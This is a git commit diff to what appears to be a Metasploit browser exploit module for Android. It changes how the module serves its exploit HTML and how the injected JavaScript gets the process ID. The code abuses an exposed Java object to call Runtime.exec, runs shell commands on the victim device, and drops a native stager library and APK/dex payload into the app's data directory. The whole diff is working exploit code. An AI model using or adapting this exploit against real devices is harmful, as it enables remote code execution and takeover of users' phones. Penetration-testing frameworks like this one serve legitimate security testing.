Remove BES and calculate the pid manually.

This commit is contained in:
Joe Vennix
2014-04-02 17:21:13 -05:00
parent 46f7e6060f
commit 176cc84865
@@ -7,7 +7,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({
@@ -77,15 +77,11 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("Serving javascript")
send_response(cli, js, 'Content-type' => 'text/javascript')
else
super
print_status("Serving exploit HTML")
send_response_html(cli, html)
end
end
def on_request_exploit(cli, req, browser)
print_status("Serving exploit HTML")
send_response_html(cli, html)
end
def ndkstager(stagename)
localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', 'armeabi', 'libndkstager.so')
data = File.read(localfile, :mode => 'rb')
@@ -99,6 +95,9 @@ class Metasploit3 < Msf::Exploit::Remote
// ensure that the object contains a native interface
try { obj.getClass().forName('java.lang.Runtime'); } catch(e) { return; }
// get the pid
var pid = obj.getClass().forName('android.os.Process').getMethod('myPid', null).invoke(null, null);
// get the runtime so we can exec
var m = obj.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null);
var runtime = m.invoke(null, null);
@@ -106,9 +105,10 @@ class Metasploit3 < Msf::Exploit::Remote
var libraryData = "#{Rex::Text.to_hex(ndkstager(stagename), '\\\\x')}";
// get the process name, which will give us our data path
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/$PPID/cmdline']);
// $PPID does not seem to work on android 4.0, so we concat pids manually
var p = runtime.exec(['/system/bin/sh', '-c', 'cat /proc/'+pid.toString()+'/cmdline']);
var ch, path = '/data/data/';
while ((ch = p.getInputStream().read()) != 0) { path += String.fromCharCode(ch); }
while ((ch = p.getInputStream().read()) >= 0) { path += String.fromCharCode(ch); }
var libraryPath = path + '/lib#{Rex::Text.rand_text_alpha(8)}.so';
var stagePath = path + '/#{stagename}.apk';
var dexPath = path + '/#{stagename}.dex';